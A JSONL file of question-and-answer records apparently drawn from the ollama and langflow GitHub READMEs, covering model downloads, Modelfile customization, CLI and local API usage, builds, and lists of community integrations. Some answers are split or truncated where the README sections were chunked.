{"id": "gh_c14347e42c6c", "question": "How to: Model library", "question_body": "About ollama/ollama", "answer": "Ollama supports a list of models available on [ollama.com/library](https://ollama.com/library \"ollama model library\")\n\nHere are some example models that can be downloaded:\n\n| Model              | Parameters | Size  | Download                         |\n| ------------------ | ---------- | ----- | -------------------------------- |\n| Gemma 3            | 1B         | 815MB | `ollama run gemma3:1b`           |\n| Gemma 3            | 4B         | 3.3GB | `ollama run gemma3`              |\n| Gemma 3            | 12B        | 8.1GB | `ollama run gemma3:12b`          |\n| Gemma 3            | 27B        | 17GB  | `ollama run gemma3:27b`          |\n| QwQ                | 32B        | 20GB  | `ollama run qwq`                 |\n| DeepSeek-R1        | 7B         | 4.7GB | `ollama run deepseek-r1`         |\n| DeepSeek-R1        | 671B       | 404GB | `ollama run deepseek-r1:671b`    |\n| Llama 4            | 109B       | 67GB  | `ollama run llama4:scout`        |\n| Llama 4            | 400B       | 245GB | `ollama run llama4:maverick`     |\n| Llama 3.3          | 70B        | 43GB  | `ollama run llama3.3`            |\n| Llama 3.2          | 3B         | 2.0GB | `ollama run llama3.2`            |\n| Llama 3.2          | 1B         | 1.3GB | `ollama run llama3.2:1b`         |\n| Llama 3.2 Vision   | 11B        | 7.9GB | `ollama run llama3.2-vision`     |\n| Llama 3.2 Vision   | 90B        | 55GB  | `ollama run llama3.2-vision:90b` |\n| Llama 3.1          | 8B         | 4.7GB | `ollama run llama3.1`            |\n| Llama 3.1          | 405B       | 231GB | `ollama run llama3.1:405b`       |\n| Phi 4              | 14B        | 9.1GB | `ollama run phi4`                |\n| Phi 4 Mini         | 3.8B       | 2.5GB | `ollama run phi4-mini`           |\n| Mistral            | 7B         | 4.1GB | `ollama run mistral`             |\n| Moondream 2        | 1.4B       | 829MB | `ollama run moondream`           |\n| Neural Chat        | 7B         | 4.1GB | `ollama run neural-chat`         |\n| Starling           | 7B         | 4.1GB | `ollama run starling-lm`         |\n| Code Llama         | 7B         | 3.8GB | `ollama run codellama`           |\n| Llama 2 Uncensored | 7B         | 3.8GB | `ollama run llama2-uncensored`   |\n| LLaVA              | 7B         | 4.5GB | `ollama run llava`               |\n| Granite-3.3        | 8B         | 4.9GB | `ollama run granite3.3`          |\n\n> [!NOTE]\n> You should have at least 8 GB of RAM available to run the 7B models, 16 GB to run the 13B models, and 32 GB to run the 33B models.", "tags": ["ollama"], "source": "github_gists", "category": "ollama", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 159601, "answer_score": 10, "has_code": true, "url": "https://github.com/ollama/ollama", "collected_at": "2026-01-16T23:28:59.490036"}
{"id": "gh_ee197b207cd9", "question": "How to: Import from GGUF", "question_body": "About ollama/ollama", "answer": "Ollama supports importing GGUF models in the Modelfile:\n\n1. Create a file named `Modelfile`, with a `FROM` instruction with the local filepath to the model you want to import.\n\n   ```\n   FROM ./vicuna-33b.Q4_0.gguf\n   ```\n\n2. Create the model in Ollama\n\n   ```shell\n   ollama create example -f Modelfile\n   ```\n\n3. Run the model\n\n   ```shell\n   ollama run example\n   ```", "tags": ["ollama"], "source": "github_gists", "category": "ollama", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 159601, "answer_score": 10, "has_code": true, "url": "https://github.com/ollama/ollama", "collected_at": "2026-01-16T23:28:59.490045"}
{"id": "gh_d9afa42de4b3", "question": "How to: Import from Safetensors", "question_body": "About ollama/ollama", "answer": "See the [guide](https://docs.ollama.com/import) on importing models for more information.", "tags": ["ollama"], "source": "github_gists", "category": "ollama", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 159601, "answer_score": 10, "has_code": false, "url": "https://github.com/ollama/ollama", "collected_at": "2026-01-16T23:28:59.490050"}
{"id": "gh_444a2f80bede", "question": "How to: Customize a prompt", "question_body": "About ollama/ollama", "answer": "Models from the Ollama library can be customized with a prompt. For example, to customize the `llama3.2` model:\n\n```shell\nollama pull llama3.2\n```\n\nCreate a `Modelfile`:\n\n```\nFROM llama3.2", "tags": ["ollama"], "source": "github_gists", "category": "ollama", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 159601, "answer_score": 10, "has_code": true, "url": "https://github.com/ollama/ollama", "collected_at": "2026-01-16T23:28:59.490056"}
{"id": "gh_b1d5e05f35c1", "question": "How to: set the system message", "question_body": "About ollama/ollama", "answer": "SYSTEM \"\"\"\nYou are Mario from Super Mario Bros. Answer as Mario, the assistant, only.\n\"\"\"\n```\n\nNext, create and run the model:\n\n```\nollama create mario -f ./Modelfile\nollama run mario\n>>> hi\nHello! It's your friend Mario.\n```\n\nFor more information on working with a Modelfile, see the [Modelfile](https://docs.ollama.com/modelfile) documentation.", "tags": ["ollama"], "source": "github_gists", "category": "ollama", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 159601, "answer_score": 10, "has_code": true, "url": "https://github.com/ollama/ollama", "collected_at": "2026-01-16T23:28:59.490064"}
{"id": "gh_922414a21482", "question": "How to: Create a model", "question_body": "About ollama/ollama", "answer": "`ollama create` is used to create a model from a Modelfile.\n\n```shell\nollama create mymodel -f ./Modelfile\n```", "tags": ["ollama"], "source": "github_gists", "category": "ollama", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 159601, "answer_score": 10, "has_code": true, "url": "https://github.com/ollama/ollama", "collected_at": "2026-01-16T23:28:59.490070"}
{"id": "gh_626ec41dc9f2", "question": "How to: Pull a model", "question_body": "About ollama/ollama", "answer": "```shell\nollama pull llama3.2\n```\n\n> This command can also be used to update a local model. Only the diff will be pulled.", "tags": ["ollama"], "source": "github_gists", "category": "ollama", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 159601, "answer_score": 10, "has_code": true, "url": "https://github.com/ollama/ollama", "collected_at": "2026-01-16T23:28:59.490075"}
{"id": "gh_a62b493c2ca0", "question": "How to: Multiline input", "question_body": "About ollama/ollama", "answer": "For multiline input, you can wrap text with `\"\"\"`:\n\n```\n>>> \"\"\"Hello,\n... world!\n... \"\"\"\nI'm a basic program that prints the famous \"Hello, world!\" message to the console.\n```", "tags": ["ollama"], "source": "github_gists", "category": "ollama", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 159601, "answer_score": 10, "has_code": true, "url": "https://github.com/ollama/ollama", "collected_at": "2026-01-16T23:28:59.490083"}
{"id": "gh_ab4ee9b295c4", "question": "How to: Multimodal models", "question_body": "About ollama/ollama", "answer": "```\nollama run llava \"What's in this image? /Users/jmorgan/Desktop/smile.png\"\n```\n\n> **Output**: The image features a yellow smiley face, which is likely the central focus of the picture.", "tags": ["ollama"], "source": "github_gists", "category": "ollama", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 159601, "answer_score": 10, "has_code": true, "url": "https://github.com/ollama/ollama", "collected_at": "2026-01-16T23:28:59.490088"}
{"id": "gh_3d27ce80efc7", "question": "How to: Pass the prompt as an argument", "question_body": "About ollama/ollama", "answer": "```shell\nollama run llama3.2 \"Summarize this file: $(cat README.md)\"\n```\n\n> **Output**: Ollama is a lightweight, extensible framework for building and running language models on the local machine. It provides a simple API for creating, running, and managing models, as well as a library of pre-built models that can be easily used in a variety of applications.", "tags": ["ollama"], "source": "github_gists", "category": "ollama", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 159601, "answer_score": 10, "has_code": true, "url": "https://github.com/ollama/ollama", "collected_at": "2026-01-16T23:28:59.490094"}
{"id": "gh_fb1c828f8407", "question": "How to: Generate embeddings from the CLI", "question_body": "About ollama/ollama", "answer": "```shell\nollama run embeddinggemma \"Your text to embed\"\n```\n\nYou can also pipe text for scripted workflows:\n\n```shell\necho \"Your text to embed\" | ollama run embeddinggemma\n```", "tags": ["ollama"], "source": "github_gists", "category": "ollama", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 159601, "answer_score": 10, "has_code": true, "url": "https://github.com/ollama/ollama", "collected_at": "2026-01-16T23:28:59.490102"}
{"id": "gh_ee3021bc257f", "question": "How to: Start Ollama", "question_body": "About ollama/ollama", "answer": "`ollama serve` is used when you want to start ollama without running the desktop application.", "tags": ["ollama"], "source": "github_gists", "category": "ollama", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 159601, "answer_score": 10, "has_code": false, "url": "https://github.com/ollama/ollama", "collected_at": "2026-01-16T23:28:59.490108"}
{"id": "gh_efe5a5f34267", "question": "How to: Running local builds", "question_body": "About ollama/ollama", "answer": "Next, start the server:\n\n```shell\n./ollama serve\n```\n\nFinally, in a separate shell, run a model:\n\n```shell\n./ollama run llama3.2\n```", "tags": ["ollama"], "source": "github_gists", "category": "ollama", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 159601, "answer_score": 10, "has_code": true, "url": "https://github.com/ollama/ollama", "collected_at": "2026-01-16T23:28:59.490113"}
{"id": "gh_fbb4438cea79", "question": "How to: Building with MLX (experimental)", "question_body": "About ollama/ollama", "answer": "First build the MLX libraries:\n\n```shell\ncmake --preset MLX\ncmake --build --preset MLX --parallel\ncmake --install build --component MLX\n```\n\nNext, build the `ollama-mlx` binary, which is a separate build of the Ollama runtime with MLX support enabled (needs to be in the same directory as `ollama`):\n\n```shell\ngo build -tags mlx -o ollama-mlx .\n```\n\nFinally, start the server:\n\n```\n./ollama serve\n```", "tags": ["ollama"], "source": "github_gists", "category": "ollama", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 159601, "answer_score": 10, "has_code": true, "url": "https://github.com/ollama/ollama", "collected_at": "2026-01-16T23:28:59.490120"}
{"id": "gh_66a24ee72bbc", "question": "How to: Building MLX with CUDA", "question_body": "About ollama/ollama", "answer": "When building with CUDA, use the preset \"MLX CUDA 13\" or \"MLX CUDA 12\" to enable CUDA with default architectures:\n\n```shell\ncmake --preset 'MLX CUDA 13'\ncmake --build --preset 'MLX CUDA 13' --parallel\ncmake --install build --component MLX\n```", "tags": ["ollama"], "source": "github_gists", "category": "ollama", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 159601, "answer_score": 10, "has_code": true, "url": "https://github.com/ollama/ollama", "collected_at": "2026-01-16T23:28:59.490126"}
{"id": "gh_34296dc91eb7", "question": "How to: Generate a response", "question_body": "About ollama/ollama", "answer": "```shell\ncurl http://localhost:11434/api/generate -d '{\n  \"model\": \"llama3.2\",\n  \"prompt\":\"Why is the sky blue?\"\n}'\n```", "tags": ["ollama"], "source": "github_gists", "category": "ollama", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 159601, "answer_score": 10, "has_code": true, "url": "https://github.com/ollama/ollama", "collected_at": "2026-01-16T23:28:59.490131"}
{"id": "gh_5178ccc397cb", "question": "How to: Chat with a model", "question_body": "About ollama/ollama", "answer": "```shell\ncurl http://localhost:11434/api/chat -d '{\n  \"model\": \"llama3.2\",\n  \"messages\": [\n    { \"role\": \"user\", \"content\": \"why is the sky blue?\" }\n  ]\n}'\n```\n\nSee the [API documentation](./docs/api.md) for all endpoints.", "tags": ["ollama"], "source": "github_gists", "category": "ollama", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 159601, "answer_score": 10, "has_code": true, "url": "https://github.com/ollama/ollama", "collected_at": "2026-01-16T23:28:59.490137"}
{"id": "gh_86a5ac04ce12", "question": "How to: Web & Desktop", "question_body": "About ollama/ollama", "answer": "- [Onyx](https://github.com/onyx-dot-app/onyx)\n- [Open WebUI](https://github.com/open-webui/open-webui)\n- [SwiftChat (macOS with ReactNative)](https://github.com/aws-samples/swift-chat)\n- [Enchanted (macOS native)](https://github.com/AugustDev/enchanted)\n- [Hollama](https://github.com/fmaclen/hollama)\n- [Lollms WebUI (Single user)](https://github.com/ParisNeo/lollms-webui)\n- [Lollms (Multi users)](https://github.com/ParisNeo/lollms)\n- [LibreChat](https://github.com/danny-avila/LibreChat)\n- [Bionic GPT](https://github.com/bionic-gpt/bionic-gpt)\n- [HTML UI](https://github.com/rtcfirefly/ollama-ui)\n- [AI-UI](https://github.com/bajahaw/ai-ui)\n- [Saddle](https://github.com/jikkuatwork/saddle)\n- [TagSpaces](https://www.tagspaces.org) (A platform for file-based apps, [utilizing Ollama](https://docs.tagspaces.org/ai/) for the generation of tags and descriptions)\n- [Chatbot UI](https://github.com/ivanfioravanti/chatbot-ollama)\n- [Chatbot UI v2](https://github.com/mckaywrigley/chatbot-ui)\n- [Typescript UI](https://github.com/ollama-interface/Ollama-Gui?tab=readme-ov-file)\n- [Minimalistic React UI for Ollama Models](https://github.com/richawo/minimal-llm-ui)\n- [Ollamac](https://github.com/kevinhermawan/Ollamac)\n- [big-AGI](https://github.com/enricoros/big-AGI)\n- [Cheshire Cat assistant framework](https://github.com/cheshire-cat-ai/core)\n- [Amica](https://github.com/semperai/amica)\n- [chatd](https://github.com/BruceMacD/chatd)\n- [Ollama-SwiftUI](https://github.com/kghandour/Ollama-SwiftUI)\n- [Dify.AI](https://github.com/langgenius/dify)\n- [MindMac](https://mindmac.app)\n- [NextJS Web Interface for Ollama](https://github.com/jakobhoeg/nextjs-ollama-llm-ui)\n- [Msty](https://msty.app)\n- [Chatbox](https://github.com/Bin-Huang/Chatbox)\n- [WinForm Ollama Copilot](https://github.com/tgraupmann/WinForm_Ollama_Copilot)\n- [NextChat](https://github.com/ChatGPTNextWeb/ChatGPT-Next-Web) with [Get Started Doc](https://docs.nextchat.dev/models/ollama)\n- [Alpaca WebUI](https://github.com/mmo80/alpaca-webui)\n- [OllamaGUI](https://github.com/enoch1118/ollamaGUI)\n- [OpenAOE](https://github.com/InternLM/OpenAOE)\n- [Odin Runes](https://github.com/leonid20000/OdinRunes)\n- [LLM-X](https://github.com/mrdjohnson/llm-x) (Progressive Web App)\n- [AnythingLLM (Docker + MacOs/Windows/Linux native app)](https://github.com/Mintplex-Labs/anything-llm)\n- [Ollama Basic Chat: Uses HyperDiv Reactive UI](https://github.com/rapidarchitect/ollama_basic_chat)\n- [Ollama-chats RPG](https://github.com/drazdra/ollama-chats)\n- [IntelliBar](https://intellibar.app/) (AI-powered assistant for macOS)\n- [Jirapt](https://github.com/AliAhmedNada/jirapt) (Jira Integration to generate issues, tasks, epics)\n- [ojira](https://github.com/AliAhmedNada/ojira) (Jira chrome plugin to easily generate descriptions for tasks)\n- [QA-Pilot](https://github.com/reid41/QA-Pilot) (Interactive chat tool that can leverage Ollama models for rapid understanding and navigation of GitHub code repositories)\n- [ChatOllama](https://github.com/sugarforever/chat-ollama) (Open Source Chatbot based on Ollama with Knowledge Bases)\n- [CRAG Ollama Chat](https://github.com/Nagi-ovo/CRAG-Ollama-Chat) (Simple Web Search with Corrective RAG)\n- [RAGFlow](https://github.com/infiniflow/ragflow) (Open-source Retrieval-Augmented Generation engine based on deep document understanding)\n- [StreamDeploy](https://github.com/StreamDeploy-DevRel/streamdeploy-llm-app-scaffold) (LLM Application Scaffold)\n- [chat](https://github.com/swuecho/chat) (chat web app for teams)\n- [Lobe Chat](https://github.com/lobehub/lobe-chat) with [Integrating Doc](https://lobehub.com/docs/self-hosting/examples/ollama)\n- [Ollama RAG Chatbot](https://github.com/datvodinh/rag-chatbot.git) (Local Chat with multiple PDFs using Ollama and RAG)\n- [BrainSoup](https://www.nurgo-software.com/products/brainsoup) (Flexible native client with RAG & multi-agent automation)\n- [macai](https://github.com/Renset/macai) (macOS client for Ollama, ChatGPT, and other compatible API back-ends)\n- [RWKV-Runner](https://github.com/josStorer/RWKV-Runner) (RWKV offline LLM deployment tool, also usable as a client for ChatGPT and Ollama)\n- [Ollama Grid Search](https://github.com/dezoito/ollama-grid-search) (app to evaluate and compare models)\n- [Olpaka](https://github.com/Otacon/olpaka) (User-friendly Flutter Web App for Ollama)\n- [Casibase](https://casibase.org) (An open source AI knowledge base and dialogue system combining the latest RAG, SSO, ollama support, and multiple large language models.)\n- [OllamaSpring](https://github.com/CrazyNeil/OllamaSpring) (Ollama Client for macOS)\n- [LLocal.in](https://github.com/kartikm7/llocal) (Easy to use Electron Desktop Client for Ollama)\n- [Shinkai Desktop](https://github.com/dcSpark/shinkai-apps) (Two click install Local AI using Ollama + Files + RAG)\n- [AiLama](https://github.com/zeyoyt/ailama) (A Discord User App that allows you to interact with Ollama anywhere in Discord)\n- [Ollama with Google Mesop](https://github.com/rapida", "tags": ["ollama"], "source": "github_gists", "category": "ollama", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 159601, "answer_score": 10, "has_code": false, "url": "https://github.com/ollama/ollama", "collected_at": "2026-01-16T23:28:59.490181"}
{"id": "gh_42df5fef44fe", "question": "How to: Apple Vision Pro", "question_body": "About ollama/ollama", "answer": "- [SwiftChat](https://github.com/aws-samples/swift-chat) (Cross-platform AI chat app supporting Apple Vision Pro via \"Designed for iPad\")\n- [Enchanted](https://github.com/AugustDev/enchanted)", "tags": ["ollama"], "source": "github_gists", "category": "ollama", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 159601, "answer_score": 10, "has_code": false, "url": "https://github.com/ollama/ollama", "collected_at": "2026-01-16T23:28:59.490192"}
{"id": "gh_af7cb9de2610", "question": "How to: Package managers", "question_body": "About ollama/ollama", "answer": "- [Pacman](https://archlinux.org/packages/extra/x86_64/ollama/)\n- [Gentoo](https://github.com/gentoo/guru/tree/master/app-misc/ollama)\n- [Homebrew](https://formulae.brew.sh/formula/ollama)\n- [Helm Chart](https://artifacthub.io/packages/helm/ollama-helm/ollama)\n- [Guix channel](https://codeberg.org/tusharhero/ollama-guix)\n- [Nix package](https://search.nixos.org/packages?show=ollama&from=0&size=50&sort=relevance&type=packages&query=ollama)\n- [Flox](https://flox.dev/blog/ollama-part-one)", "tags": ["ollama"], "source": "github_gists", "category": "ollama", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 159601, "answer_score": 10, "has_code": false, "url": "https://github.com/ollama/ollama", "collected_at": "2026-01-16T23:28:59.490198"}
{"id": "gh_59b69fe7cc2a", "question": "How to: Extensions & Plugins", "question_body": "About ollama/ollama", "answer": "- [Raycast extension](https://github.com/MassimilianoPasquini97/raycast_ollama)\n- [Discollama](https://github.com/mxyng/discollama) (Discord bot inside the Ollama discord channel)\n- [Continue](https://github.com/continuedev/continue)\n- [Vibe](https://github.com/thewh1teagle/vibe) (Transcribe and analyze meetings with Ollama)\n- [Obsidian Ollama plugin](https://github.com/hinterdupfinger/obsidian-ollama)\n- [Logseq Ollama plugin](https://github.com/omagdy7/ollama-logseq)\n- [NotesOllama](https://github.com/andersrex/notesollama) (Apple Notes Ollama plugin)\n- [Dagger Chatbot](https://github.com/samalba/dagger-chatbot)\n- [Discord AI Bot](https://github.com/mekb-turtle/discord-ai-bot)\n- [Ollama Telegram Bot](https://github.com/ruecat/ollama-telegram)\n- [Hass Ollama Conversation](https://github.com/ej52/hass-ollama-conversation)\n- [Rivet plugin](https://github.com/abrenneke/rivet-plugin-ollama)\n- [Obsidian BMO Chatbot plugin](https://github.com/longy2k/obsidian-bmo-chatbot)\n- [Cliobot](https://github.com/herval/cliobot) (Telegram bot with Ollama support)\n- [Copilot for Obsidian plugin](https://github.com/logancyang/obsidian-copilot)\n- [Obsidian Local GPT plugin](https://github.com/pfrankov/obsidian-local-gpt)\n- [Open Interpreter](https://docs.openinterpreter.com/language-model-setup/local-models/ollama)\n- [Llama Coder](https://github.com/ex3ndr/llama-coder) (Copilot alternative using Ollama)\n- [Ollama Copilot](https://github.com/bernardo-bruning/ollama-copilot) (Proxy that allows you to use Ollama as a copilot like GitHub Copilot)\n- [twinny](https://github.com/rjmacarthy/twinny) (Copilot and Copilot chat alternative using Ollama)\n- [Wingman-AI](https://github.com/RussellCanfield/wingman-ai) (Copilot code and chat alternative using Ollama and Hugging Face)\n- [Page Assist](https://github.com/n4ze3m/page-assist) (Chrome Extension)\n- [Plasmoid Ollama Control](https://github.com/imoize/plasmoid-ollamacontrol) (KDE Plasma extension that allows you to quickly manage/control Ollama model)\n- [AI Telegram Bot](https://github.com/tusharhero/aitelegrambot) (Telegram bot using Ollama in backend)\n- [AI ST Completion](https://github.com/yaroslavyaroslav/OpenAI-sublime-text) (Sublime Text 4 AI assistant plugin with Ollama support)\n- [Discord-Ollama Chat Bot](https://github.com/kevinthedang/discord-ollama) (Generalized TypeScript Discord Bot w/ Tuning Documentation)\n- [ChatGPTBox: All in one browser extension](https://github.com/josStorer/chatGPTBox) with [Integrating Tutorial](https://github.com/josStorer/chatGPTBox/issues/616#issuecomment-1975186467)\n- [Discord AI chat/moderation bot](https://github.com/rapmd73/Companion) Chat/moderation bot written in python. Uses Ollama to create personalities.\n- [Headless Ollama](https://github.com/nischalj10/headless-ollama) (Scripts to automatically install ollama client & models on any OS for apps that depend on ollama server)\n- [Terraform AWS Ollama & Open WebUI](https://github.com/xuyangbocn/terraform-aws-self-host-llm) (A Terraform module to deploy on AWS a ready-to-use Ollama service, together with its front-end Open WebUI service.)\n- [node-red-contrib-ollama](https://github.com/jakubburkiewicz/node-red-contrib-ollama)\n- [Local AI Helper](https://github.com/ivostoykov/localAI) (Chrome and Firefox extensions that enable interactions with the active tab and customisable API endpoints. Includes secure storage for user prompts.)\n- [LSP-AI](https://github.com/SilasMarvin/lsp-ai) (Open-source language server for AI-powered functionality)\n- [QodeAssist](https://github.com/Palm1r/QodeAssist) (AI-powered coding assistant plugin for Qt Creator)\n- [Obsidian Quiz Generator plugin](https://github.com/ECuiDev/obsidian-quiz-generator)\n- [AI Summary Helper plugin](https://github.com/philffm/ai-summary-helper)\n- [TextCraft](https://github.com/suncloudsmoon/TextCraft) (Copilot in Word alternative using Ollama)\n- [Alfred Ollama](https://github.com/zeitlings/alfred-ollama) (Alfred Workflow)\n- [TextLLaMA](https://github.com/adarshM84/TextLLaMA) A Chrome Extension that helps you write emails, correct grammar, and translate into any language\n- [Simple-Discord-AI](https://github.com/zyphixor/simple-discord-ai)\n- [LLM Telegram Bot](https://github.com/innightwolfsleep/llm_telegram_bot) (telegram bot, primary for RP. Oobabooga-like buttons, [A1111](https://github.com/AUTOMATIC1111/stable-diffusion-webui) API integration e.t.c)\n- [mcp-llm](https://github.com/sammcj/mcp-llm) (MCP Server to allow LLMs to call other LLMs)\n- [SimpleOllamaUnity](https://github.com/HardCodeDev777/SimpleOllamaUnity) (Unity Engine extension for communicating with Ollama in a few lines of code. Also works at runtime)\n- [UnityCodeLama](https://github.com/HardCodeDev777/UnityCodeLama) (Unity Editor tool to analyze scripts via Ollama)\n- [NativeMind](https://github.com/NativeMindBrowser/NativeMindExtension) (Private, on-device AI Assistant, no cloud dependencies)\n- [GMAI - Gradle Managed AI](https://gmai.premex.se/) (Gradle plugin for automate", "tags": ["ollama"], "source": "github_gists", "category": "ollama", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 159601, "answer_score": 10, "has_code": false, "url": "https://github.com/ollama/ollama", "collected_at": "2026-01-16T23:28:59.490220"}
{"id": "gh_420c0156a6bd", "question": "How to: Supported backends", "question_body": "About ollama/ollama", "answer": "- [llama.cpp](https://github.com/ggml-org/llama.cpp) project founded by Georgi Gerganov.", "tags": ["ollama"], "source": "github_gists", "category": "ollama", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 159601, "answer_score": 10, "has_code": false, "url": "https://github.com/ollama/ollama", "collected_at": "2026-01-16T23:28:59.490225"}
{"id": "gh_e6a6f22862a8", "question": "How to: Observability", "question_body": "About ollama/ollama", "answer": "- [Opik](https://www.comet.com/docs/opik/cookbook/ollama) is an open-source platform to debug, evaluate, and monitor your LLM applications, RAG systems, and agentic workflows with comprehensive tracing, automated evaluations, and production-ready dashboards. Opik supports native integration to Ollama.\n- [Lunary](https://lunary.ai/docs/integrations/ollama) is the leading open-source LLM observability platform. It provides a variety of enterprise-grade features such as real-time analytics, prompt templates management, PII masking, and comprehensive agent tracing.\n- [OpenLIT](https://github.com/openlit/openlit) is an OpenTelemetry-native tool for monitoring Ollama Applications & GPUs using traces and metrics.\n- [HoneyHive](https://docs.honeyhive.ai/integrations/ollama) is an AI observability and evaluation platform for AI agents. Use HoneyHive to evaluate agent performance, interrogate failures, and monitor quality in production.\n- [Langfuse](https://langfuse.com/docs/integrations/ollama) is an open source LLM observability platform that enables teams to collaboratively monitor, evaluate and debug AI applications.\n- [MLflow Tracing](https://mlflow.org/docs/latest/llms/tracing/index.html#automatic-tracing) is an open source LLM observability tool with a convenient API to log and visualize traces, making it easy to debug and evaluate GenAI applications.", "tags": ["ollama"], "source": "github_gists", "category": "ollama", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 159601, "answer_score": 10, "has_code": false, "url": "https://github.com/ollama/ollama", "collected_at": "2026-01-16T23:28:59.490233"}
{"id": "gh_16b8d1f3c9c4", "question": "How to: ✨ Highlight features", "question_body": "About langflow-ai/langflow", "answer": "- **Visual builder interface** to quickly get started and iterate.\n- **Source code access** lets you customize any component using Python.\n- **Interactive playground** to immediately test and refine your flows with step-by-step control.\n- **Multi-agent orchestration** with conversation management and retrieval.\n- **Deploy as an API** or export as JSON for Python apps.\n- **Deploy as an MCP server** and turn your flows into tools for MCP clients.\n- **Observability** with LangSmith, LangFuse and other integrations.\n- **Enterprise-ready** security and scalability.", "tags": ["langflow-ai"], "source": "github_gists", "category": "langflow-ai", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 143698, "answer_score": 10, "has_code": false, "url": "https://github.com/langflow-ai/langflow", "collected_at": "2026-01-16T23:29:01.300120"}
{"id": "gh_3e58dd8907b2", "question": "How to: 🖥️  Langflow Desktop", "question_body": "About langflow-ai/langflow", "answer": "Langflow Desktop is the easiest way to get started with Langflow. All dependencies are included, so you don't need to manage Python environments or install packages manually.\nAvailable for Windows and macOS.\n\n[📥 Download Langflow Desktop](https://www.langflow.org/desktop)", "tags": ["langflow-ai"], "source": "github_gists", "category": "langflow-ai", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 143698, "answer_score": 10, "has_code": false, "url": "https://github.com/langflow-ai/langflow", "collected_at": "2026-01-16T23:29:01.300134"}
{"id": "gh_c1cf00d5ca3f", "question": "How to: Install locally (recommended)", "question_body": "About langflow-ai/langflow", "answer": "Requires Python 3.10–3.13 and [uv](https://docs.astral.sh/uv/getting-started/installation/) (recommended package manager).\n\n#### Install\n\nFrom a fresh directory, run:\n```shell\nuv pip install langflow -U\n```\n\nThe latest Langflow package is installed.\nFor more information, see [Install and run the Langflow OSS Python package](https://docs.langflow.org/get-started-installation#install-and-run-the-langflow-oss-python-package).\n\n#### Run\n\nTo start Langflow, run:\n```shell\nuv run langflow run\n```\n\nLangflow starts at http://127.0.0.1:7860.\n\nThat's it! You're ready to build with Langflow! 🎉", "tags": ["langflow-ai"], "source": "github_gists", "category": "langflow-ai", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 143698, "answer_score": 10, "has_code": true, "url": "https://github.com/langflow-ai/langflow", "collected_at": "2026-01-16T23:29:01.300144"}
{"id": "gh_3fc77a06e526", "question": "How to: Run from source", "question_body": "About langflow-ai/langflow", "answer": "If you've cloned this repository and want to contribute, run this command from the repository root:\n```shell\nmake run_cli\n```\nFor more information, see [DEVELOPMENT.md](./DEVELOPMENT.md).", "tags": ["langflow-ai"], "source": "github_gists", "category": "langflow-ai", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 143698, "answer_score": 10, "has_code": true, "url": "https://github.com/langflow-ai/langflow", "collected_at": "2026-01-16T23:29:01.300150"}
{"id": "gh_6266d880cfcb", "question": "How to: 🚀 Deployment", "question_body": "About langflow-ai/langflow", "answer": "Langflow is completely open source and you can deploy it to all major deployment clouds. To learn how to deploy Langflow, see our [Langflow deployment guides](https://docs.langflow.org/deployment-overview).", "tags": ["langflow-ai"], "source": "github_gists", "category": "langflow-ai", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 143698, "answer_score": 10, "has_code": false, "url": "https://github.com/langflow-ai/langflow", "collected_at": "2026-01-16T23:29:01.300157"}
{"id": "gh_06b596b29421", "question": "How to: ⭐ Stay up-to-date", "question_body": "About langflow-ai/langflow", "answer": "Star Langflow on GitHub to be instantly notified of new releases.\n\n![Star Langflow](https://github.com/user-attachments/assets/03168b17-a11d-4b2a-b0f7-c1cce69e5a2c)", "tags": ["langflow-ai"], "source": "github_gists", "category": "langflow-ai", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 143698, "answer_score": 10, "has_code": false, "url": "https://github.com/langflow-ai/langflow", "collected_at": "2026-01-16T23:29:01.300162"}
{"id": "gh_c89acc7ba407", "question": "How to: 👋 Contribute", "question_body": "About langflow-ai/langflow", "answer": "We welcome contributions from developers of all levels. If you'd like to contribute, please check our [contributing guidelines](./CONTRIBUTING.md) and help make Langflow more accessible.\n\n---\n\n[![Star History Chart](https://api.star-history.com/svg?repos=langflow-ai/langflow&type=Timeline)](https://star-history.com/#langflow-ai/langflow&Date)", "tags": ["langflow-ai"], "source": "github_gists", "category": "langflow-ai", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 143698, "answer_score": 10, "has_code": false, "url": "https://github.com/langflow-ai/langflow", "collected_at": "2026-01-16T23:29:01.300168"}
{"id": "gh_55a09444780b", "question": "How to: ❤️ Contributors", "question_body": "About langflow-ai/langflow", "answer": "[![langflow contributors](https://contrib.rocks/image?repo=langflow-ai/langflow)](https://github.com/langflow-ai/langflow/graphs/contributors)", "tags": ["langflow-ai"], "source": "github_gists", "category": "langflow-ai", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 143698, "answer_score": 10, "has_code": false, "url": "https://github.com/langflow-ai/langflow", "collected_at": "2026-01-16T23:29:01.300173"}
